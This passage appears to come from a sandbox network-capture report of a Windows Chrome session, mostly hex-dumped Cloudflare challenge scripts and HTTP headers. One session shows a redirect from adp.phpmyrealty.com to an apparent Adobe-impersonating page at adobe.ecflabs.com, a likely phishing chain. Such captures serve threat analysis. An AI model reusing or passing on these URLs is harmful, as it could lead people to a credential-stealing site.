3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 66 62 44 Data Ascii: "ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"fbD
2025-04-28 07:04:06 UTC	1369	IN	Data Raw: 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 65 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 72 69 74 Data Ascii: .setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},ee(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writ
2025-04-28 07:04:06 UTC	1369	IN	Data Raw: 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 Data Ascii: nfigurable:!0}}),ee(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this,ar
2025-04-28 07:04:06 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 61 29 3b Data Ascii: tion(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(a);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49710	172.67.215.23	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:06 UTC	932	OUT	GET /favicon.ico HTTP/1.1 Host: adp.phpmyrealty.com Connection: keep-alive sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua-platform-version: "10.0.0" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:06 UTC	977	IN	HTTP/1.1 302 Found Date: Mon, 28 Apr 2025 07:04:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: cloudflare Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Cf-Ray: 9374b4214b27720e-PHX Location: https://adobe.ecflabs.com/adobe/?organisation=&des=ZmF2aWNvbi5pY28=#/common/authorize?document=0.15216268792383-0ff1-0.74057860846658&auth=10.71447591470297-0.54555062136871 Cf-Cache-Status: BYPASS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=af1x9bL5UpDzRJFFU%2BhwFnsY8sMqAOj4JFK7j50fnPjLPHvhAJEbufLLAQ1P89QWneojJ9IjvAxEZQXBuxXGboZHhi6Zb87mAW6qwRIDqbIoyUxww0Zu2UWniAANkJn17F0qYSG7"}],"group":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=140008&min_rtt=139899&rtt_var=29677&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1504&delivery_rate=28791&cwnd=252&unsent_bytes=0&cid=ac8364fa7a173e63&ts=412&x=0"
2025-04-28 07:04:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49711	104.18.94.41	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:07 UTC	806	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/lzyee/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:07 UTC	1297	IN	HTTP/1.1 200 OK Date: Mon, 28 Apr 2025 07:04:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 27874 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: default-src 'none'; script-src 'nonce-NGUK3jPAVy0ECnvk' 'unsafe-eval'; script-src-attr 'none'; worker-src blob:; style-src 'unsafe-inline'; img-src 'self'; connect-src 'self'; frame-src 'self' blob:; child-src 'self' blob:; form-action 'none'; base-uri 'self'; sandbox allow-same-origin allow-scripts allow-popups allow-forms cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA
2025-04-28 07:04:07 UTC	411	IN	Data Raw: 63 72 69 74 69 63 61 6c 2d 63 68 3a 20 53 65 63 2d 43 48 2d 55 41 2d 42 69 74 6e 65 73 73 2c 20 53 65 63 2d 43 48 2d 55 41 2d 41 72 63 68 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 62 69 6c 65 2c 20 53 65 63 2d 43 48 2d 55 41 2d 4d 6f 64 65 6c 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2d 4c 69 73 74 2c 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2c 20 53 65 63 2d 43 48 2d 55 41 2c 20 55 41 2d 42 69 74 6e 65 73 73 2c 20 55 41 2d 41 72 63 68 2c 20 55 41 2d 46 75 6c 6c 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 4d 6f 62 69 6c 65 2c 20 55 41 2d 4d 6f 64 65 6c 2c 20 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 2c 20 55 41 2d 50 Data Ascii: critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-P
2025-04-28 07:04:07 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 65 26 23 78 32 37 3b 3b 20 73 63 72 69 70 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 63 65 2d 4e 47 55 4b 33 6a 50 41 56 79 30 45 43 6e 76 6b 26 23 78 32 37 3b 20 26 23 78 32 37 3b 75 6e 73 61 66 65 2d Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'nonce-NGUK3jPAVy0ECnvk' 'unsafe-
2025-04-28 07:04:07 UTC	1369	IN	Data Raw: 6d 65 73 20 66 69 6c 6c 66 61 69 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 33 30 70 78 20 30 20 30 20 23 64 65 31 33 30 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 32 33 32 33 32 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 2d 64 61 72 6b 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 66 66 66 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 30 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 Data Ascii: mes fillfail{to{box-shadow:inset 0 30px 0 0 #de1303}}@keyframes fillfail-offlabel{to{box-shadow:inset 0 0 0 30px #232323}}@keyframes fillfail-offlabel-dark{to{box-shadow:inset 0 0 0 30px #fff}}@keyframes scale-up-center{0%{transform:scale(.01)}to{transfor
2025-04-28 07:04:07 UTC	1369	IN	Data Raw: 61 6c 69 67 6e 3a 72 69 67 68 74 7d 23 6f 76 65 72 72 75 6e 2d 69 2c 23 76 65 72 69 66 79 69 6e 67 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 66 61 69 6c 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 35 35 2c 2e 30 38 35 2c 2e 36 38 2c 2e 35 33 29 20 62 6f 74 68 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 64 65 31 33 30 33 7d 23 66 61 69 6c 2d 69 2c 23 73 75 63 63 65 73 73 2d 69 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 64 69 73 70 6c 61 79 Data Ascii: align:right}#overrun-i,#verifying-i{animation:spin 5s linear infinite;display:flex;height:30px;width:30px}#fail-i{animation:scale-up-center .6s cubic-bezier(.55,.085,.68,.53) both;box-shadow:inset 0 0 0 #de1303}#fail-i,#success-i{border-radius:50%;display
2025-04-28 07:04:07 UTC	1369	IN	Data Raw: 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 3a 23 30 61 61 39 33 37 3b 66 69 6c 6c 3a 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 78 70 69 72 65 64 2d 63 69 72 63 6c 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 74 69 6d 65 6f 75 74 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 39 39 39 3b 66 69 6c 6c 3a 23 39 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 Data Ascii: -shadow:inset 0 0 0 #0aa937}.theme-dark .success-circle{stroke:#0aa937;fill:#0aa937}.theme-dark .expired-circle,.theme-dark .timeout-circle{stroke-dasharray:166;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#999;fill:#999}.theme-dark #e
2025-04-28 07:04:07 UTC	1369	IN	Data Raw: 34 31 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 68 31 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 Data Ascii: 41}.theme-dark h1{color:#fff}.theme-dark #challenge-error-title{color:#ffa299}.theme-dark #challenge-error-title a,.theme-dark #challenge-error-title a:link,.theme-dark #challenge-error-title a:visited{color:#bbb}.theme-dark #challenge-error-title a:activ
2025-04-28 07:04:07 UTC	1369	IN	Data Raw: 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6f 76 65 72 6c 61 79 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 3b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 Data Ascii: .theme-dark #timeout-refresh-link:focus,.theme-dark #timeout-refresh-link:hover{color:#949494}.theme-dark .overlay{border-color:#ffa299;color:#ffa299}.theme-dark .error-message,.theme-dark .error-message a,.theme-dark .error-message a:link,.theme-dark .er
2025-04-28 07:04:07 UTC	1369	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 7d 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 34 70 78 20 34 70 78 20 30 3b 68 65 69 67 68 74 3a 31 32 70 78 3b 6c 65 66 74 3a 35 70 78 3b 74 6f 70 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 77 69 64 74 68 3a 36 70 78 7d 2e 63 62 2d 6c 62 20 2e 63 Data Ascii: ackground-color:#fff;border-radius:5px;opacity:1;transform:rotate(0deg) scale(1)}.cb-lb input:checked~.cb-i:after{border:solid #c44d0e;border-radius:0;border-width:0 4px 4px 0;height:12px;left:5px;top:0;transform:rotate(45deg) scale(1);width:6px}.cb-lb .c
2025-04-28 07:04:07 UTC	1369	IN	Data Raw: 61 63 65 2d 65 76 65 6e 6c 79 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 7b 6d 61 72 67 69 6e 3a 30 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e Data Ascii: ace-evenly;visibility:visible}.size-compact #expired-text,.size-compact #overrun-text,.size-compact #timeout-text{display:block}.size-compact #expired-refresh-link,.size-compact #timeout-refresh-link,.size-compact .error-message a{margin:0}.size-compact .
2025-04-28 07:04:07 UTC	1369	IN	Data Raw: 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 74 65 72 6d 73 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 70 78 7d 23 74 65 72 6d 73 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 3a 30 20 2e 32 72 65 6d 7d 23 74 65 72 6d 73 20 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 23 74 65 72 6d 73 20 61 2c 23 74 65 72 6d 73 20 61 3a 6c 69 6e 6b 2c 23 74 65 72 6d 73 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f Data Ascii: ;margin-right:16px}#terms{color:#232323;display:inline-flex;font-size:8px;font-style:normal;justify-content:flex-end;line-height:10px}#terms .link-spacer{margin:0 .2rem}#terms a{display:inline-block}#terms a,#terms a:link,#terms a:visited{color:#232323;fo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49712	104.21.78.21	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:07 UTC	632	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/638699444:1745821587:xbzCd5YBTmtoV3TbJLfvaYF7qf3ng48bg7dPg7KCPyw/9374b4166e99d2c0/_j91tbcKrPzA0_4WPX18B3tnqo5WhMtbmoiqiUtSfC0-1745823844-1.2.1.1-hf_FMyqN7DLABu2AaqD5paPXhCvmIqMEpSd5Vi8ld.OEIgJnP8YXneH2ZEuEMuI3 HTTP/1.1 Host: adp.phpmyrealty.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:07 UTC	985	IN	HTTP/1.1 400 Bad Request Date: Mon, 28 Apr 2025 07:04:07 GMT Content-Type: application/json Content-Length: 14 Connection: close Server: cloudflare Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Cf-Ray: 9374b4265b9db38d-PHX Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Cf-Chl-Out: BGgQ6foJEnrqn0Cz/fDijCInvqTJoiSKi8XZXn1BrE3Nrvx7yoDobidWJlS7KKYDDIa0a43ZvBDDzgviqfZ9jw==$psxeDGZq94zzL/vffnT/Ww== Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oIqJL4sUxJZmNvHQ4w1Qqr4CXb3DpMUgqwmIJkibPRGXbBAtTs3%2FlJKNpZhxUSKgRiRaTvUO9dqir78zglmkQoeHx3Qk6MN%2BK05pK6Clk0Ol7ZSr5ZOwuqz7JHwLx0oJvLa9an2E"}],"group":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=139873&min_rtt=139844&rtt_var=29546&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1204&delivery_rate=28851&cwnd=252&unsent_bytes=0&cid=41874cee5f4e3443&ts=383&x=0"
2025-04-28 07:04:07 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49713	212.81.47.195	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:07 UTC	623	OUT	GET /adobe/?organisation=&des=ZmF2aWNvbi5pY28= HTTP/1.1 Host: adobe.ecflabs.com Connection: keep-alive sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:09 UTC	177	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 28 Apr 2025 07:04:09 GMT Content-Type: text/html; charset=utf-8 Content-Length: 426833 Connection: close Vary: Accept-Encoding
